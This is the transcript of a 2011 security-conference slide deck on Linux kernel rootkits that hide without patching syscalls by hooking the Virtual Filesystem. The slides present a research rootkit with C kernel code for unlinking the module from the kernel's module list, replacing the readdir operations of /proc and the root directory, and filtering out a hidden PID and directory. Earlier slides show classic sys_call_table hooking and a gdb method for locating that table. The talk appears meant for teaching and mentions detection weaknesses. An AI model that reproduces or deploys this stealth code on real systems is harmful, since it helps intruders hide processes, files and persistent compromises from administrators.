Top Banner
Linux rootkits without syscall patching, (the VFS way) Confraria SECURITY & IT 28 Set 2011
22
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Confraria Security & IT - Lisbon Set 29, 2011

Linux rootkits without syscall patching,

(the VFS way)

Confraria SECURITY & IT – 28 Set 2011

Page 2: Confraria Security & IT - Lisbon Set 29, 2011

#> whoami

Ricardo Mourato – 25 yo

Computer Science Degree

InfoSec & SuperBock Stout addicted

OS X, Slackware, FreeBSD, OpenBSD, Solaris fanatic

Java, .Net, Python, Ruby, C, C++, ASM Lover

Windows (All versions) , Perl (All versions) and Printers (Yes,

they came from hell !) hater

root, right here :)

2

Page 3: Confraria Security & IT - Lisbon Set 29, 2011

Agenda

Linux rootkits – brief talk

Linux 2.{5,6} kernel – what changed ?

The Virtual Filesystem (VFS)

Meet /proc, our friend!

Introducing

Show time

Retrospect

Questions & Answers

3

Page 4: Confraria Security & IT - Lisbon Set 29, 2011

Linux rootkits – how they were?

In the beginning…

User-land Trojaned binaries mostly

Easy to spot

Easy to code

However, hard to hide!

LRK5 was a good bastard…

4

Page 5: Confraria Security & IT - Lisbon Set 29, 2011

Linux rootkits – how they were?

Not so far away…

The Kernel-land approach

Loadable Kernel Modules or /dev/kmem “patching”

Syscall patching

Easy to code

Less easy to find

Adore & suckit were also good bastards!

5

Page 6: Confraria Security & IT - Lisbon Set 29, 2011

Linux rootkits – how they were?

extern void *sys_call_table[];

int init_module(void) {

original_call = sys_call_table[__NR_open];

sys_call_table[__NR_open] = evil_open;

return 0;

}

6

Page 7: Confraria Security & IT - Lisbon Set 29, 2011

Linux 2.{5,6} – what changed?

Main change:

OMG! sys_call_table[] no longer exported!!!

Even if you find it, it will be read-only

Workaround:

Find IDT

Find the 0x80 interrupt

Get the system_call() function location

Use gdb kung fu and search memory for sys_call_table[] within

this function

7

Page 8: Confraria Security & IT - Lisbon Set 29, 2011

Linux 2.{5,6} – what changed?

8

$ gdb -q /usr/src/linux/vmlinux

(no debugging symbols found)...(gdb) disass system_call

0xc0106bf4 : call *0xc01e0f18(,%eax,4)

(gdb) print &sys_call_table

$1 = ( *) 0xc01e0f18

Page 9: Confraria Security & IT - Lisbon Set 29, 2011

The Virtal Filesystem

9

Is the primary interface to underlying filesystems (common file model)

Exports a set of interfaces for every individual filesystem

Each filesystem must “implement” this interface in order to become a

common file model

Some interesting players are:

struct dentry;

struct file_operations;

struct inode_operations;

Page 10: Confraria Security & IT - Lisbon Set 29, 2011

/proc is our friend

10

So… everything in linux “is a file” right?

Including the ones located at /proc even if “in memory”

And… most user-land tools rely on /proc to get information!

This tools include:

ps

netstat

top

mount

And many, many others…

Remember struct file_operations ?

Page 11: Confraria Security & IT - Lisbon Set 29, 2011

Introducing Fuckit…

11

Fu Control Kit (just in case!)

A research born VFS rootkit capable of:

Hide itself No sh*t sherlock?

Hide processes

Hide files and directories

TTY sniffing

Page 12: Confraria Security & IT - Lisbon Set 29, 2011

Module hiding

12

Modules are linked together in a double link list maintained by the

kernel

The kernel have internal functions to “unlink” the unloaded modules

from the list

Just use them wisely

Page 13: Confraria Security & IT - Lisbon Set 29, 2011

Module hiding

13

static struct module *m = THIS_MODULE;

void hideme(void){

kobject_del(&m->mkobj.kobj);

list_del(&m->list);

}

Page 14: Confraria Security & IT - Lisbon Set 29, 2011

“Hook” the Virtual Filesystem (/proc)

14

static struct file_operations *proc_fops; remember again?

void hook_proc(void){

/* we are not /proc yet */

key = create_proc_entry(KEY,0666,NULL);

/* now we become /proc :) */

proc = key->parent;

/* save the original, we will need it later*/

proc_fops = (struct file_operations *)proc->proc_fops;

original_proc_readdir = proc_fops->readdir;

/* tha hook */

proc_fops->readdir = fuckit_proc_readdir;

}

Page 15: Confraria Security & IT - Lisbon Set 29, 2011

“Hook” the Virtual Filesystem (/)

15

static struct file *f;

int hook_root(void){

f = filp_open("/",O_RDONLY,0600);

if(IS_ERR(f)){

return -1;

}

original_root_readdir = f->f_op->readdir;

f->f_op->readdir=fuckit_root_readdir;

filp_close(f,NULL);

return 0;

}

Page 16: Confraria Security & IT - Lisbon Set 29, 2011

Process hiding

16

static inline int fuckit_proc_filldir(void *__buf, const char *name, int namelen, loff_t offset,

u64 ino, unsigned d_type){

//our hidden PID :)

if(!strcmp(name,HIDDEN_PID) || !strcmp(name,KEY)){

return 0;

}

return original_filldir(__buf,name,namelen,offset,ino,d_type);

}

static inline int fuckit_proc_readdir(struct file *filp, void *dirent, filldir_t filldir){

//save this, we will need to return it later

original_filldir = filldir;

return original_proc_readdir(filp,dirent,fuckit_proc_filldir);

}

Page 17: Confraria Security & IT - Lisbon Set 29, 2011

File and Directory hiding

17

static int fuckit_root_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino,

unsigned d_type){

//if is our hidden file/directory return nothing! :)

if(strncmp(name,HIDDEN_DIR,namelen)==0){

return 0;

}

return original_root_filldir(__buf,name,namelen,offset,ino,d_type);

}

static int fuckit_root_readdir(struct file *filp, void *dirent, filldir_t filldir){

//save this, we will need to return it later

original_root_filldir = filldir;

return original_root_readdir(filp,dirent,fuckit_root_filldir);

}

Page 18: Confraria Security & IT - Lisbon Set 29, 2011

Seeing is believing

18

Page 19: Confraria Security & IT - Lisbon Set 29, 2011

Retrospect

19

Syscall patching in 2.6 kernel is a true “pain in the a**”

VFS hooks, they also do the job!

It is a good approach, however it has some cons

It is possible to “brute force” /proc for hidden pids

You should let the Linux scheduler do this job!

Hypervisor rootkits will kill -9 every kernel rookits on earth!

Page 20: Confraria Security & IT - Lisbon Set 29, 2011

References

20

IBM developerWorks “Anatomy of the Linux filesystem”. Internet:

http://www.ibm.com/developerworks/linux/library/l-linux-filesystem/.

[Jan 25, 2011]

WangYao “Rootkit on Linux x86 v2.6” [Apr 21, 2009]

Dump “hideme (ng)”. Internet: http://trace.dump.cz/projects.php [Jan

25, 2011]

Ubra “Process Hiding & The Linux scheduler”. Internet:

http://www.phrack.org/issues.html?issue=63&id=18 [Jan 25, 2011]

Page 21: Confraria Security & IT - Lisbon Set 29, 2011

21

Page 22: Confraria Security & IT - Lisbon Set 29, 2011

Questions & Answers

22

?